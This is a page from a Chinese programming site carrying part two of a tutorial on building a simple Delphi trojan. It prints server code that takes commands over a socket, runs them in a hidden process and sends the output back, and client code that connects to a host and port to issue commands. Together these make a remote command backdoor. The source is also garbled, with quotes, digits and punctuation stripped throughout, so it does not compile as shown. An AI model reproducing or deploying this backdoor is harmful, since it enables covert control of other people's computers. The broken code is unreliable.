熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

Delphi下“培養”自己的簡單木馬[2]

2022-06-13   來源: Delphi編程 

    procedure TFmMainSSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
  SocketSendText(連接成功);   //發現有連接時回傳連接成功
end;

procedure TFmMainSSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipehWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
  MemoClear;
  remotecmd:=SocketReceiveText;
  fname:=allocmem();
  ph:=AllocMem();
  lsanLength  :=sizeof(SECURITY_ATTRIBUTES);
  lsalpSecurityDescriptor  :=nil;
  lsabInheritHandle  :=True;
  if  CreatePipe(hReadPipehWritePipe@lsa)=false  then
  begin
    socketSendText(不能創建管道);
    exit;
  end;
  fillchar(sisizeof(STARTUPINFO));
  sicb:=sizeof(STARTUPINFO);
  sidwFlags:=(STARTF_USESTDHANDLES  or  STARTF_USESHOWWINDOW);
  siwShowWindow:=SW_HIDE;
  sihStdOutput:=hWritePipe;
  StrPCopy(fnameremotecmd);
  /////執行CMD命令////
  if CreateProcess(nilfnamenilniltruenilnilsipi)=False then
  begin
    socketSendText(不能創建進程);
    FreeMem(ph);
    FreeMem(fname);
    Exit;
  end;
  while(true)  do
  begin
  if  not  PeekNamedPipe(hReadPipeph@cchReadBuffernilnil)  then  break;
  if  cchReadBuffer<>  then
  begin
  if  ReadFile(hReadPipeph^cchReadBuffernil)=false  then  break;
    ph[cchReadbuffer]:=chr();
    MemoLinesAdd(ph);
  end
  else
  if(WaitForSingleObject(pihProcess  )=WAIT_OBJECT_)  then  break;
    Sleep();
  end;
  ph[cchReadBuffer]:=chr();
  MemoLinesAdd(ph);    //memo接收回顯
  CloseHandle(hReadPipe);
  CloseHandle(pihThread);
  CloseHandle(pihProcess);
  CloseHandle(hWritePipe);
  FreeMem(ph);
  FreeMem(fname);
  socketSendText(MemoText);  ///將回顯發送回客戶端
end;

end

///////////////////////////////////////////////////////////////////////////////////////////

//////客戶端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@com////
////////QQ:////////////////
////////////////////////////////

interface

uses
  Windows Messages SysUtils Variants Classes Graphics Controls Forms
  Dialogs OleCtrls SHDocVw StdCtrls IdBaseComponent IdComponent
  IdUDPBase IdUDPServer Buttons TLHelp ScktComp;

type
  TFmMain = class(TForm)
    WebBrowser: TWebBrowser;
    Label: TLabel;
    Edit: TEdit;
    Label: TLabel;
    Edit: TEdit;
    Button: TButton;
    CS: TClientSocket;
    Edit: TEdit;
    Label: TLabel;
    Memo: TMemo;
    BitBtn: TBitBtn;
    procedure ButtonClick(Sender: TObject);
    procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure BitBtnClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FmMain: TFmMain;

implementation

{$R *dfm}

procedure TFmMainButtonClick(Sender: TObject);
begin
  CSHost:=EditText;
  CSPort:=StrToInt(EditText);
  CSOpen;
end;

procedure TFmMainCSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  MemoClear;
  MemoLinesAdd(SocketReceiveText);
  MemoLinesAdd();
end;

procedure TFmMainBitBtnClick(Sender: TObject);
begin
  CSSocketSendText(editText);
end;

end

[]  []  


From:http://tw.wingwit.com/Article/program/Delphi/201311/11128.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.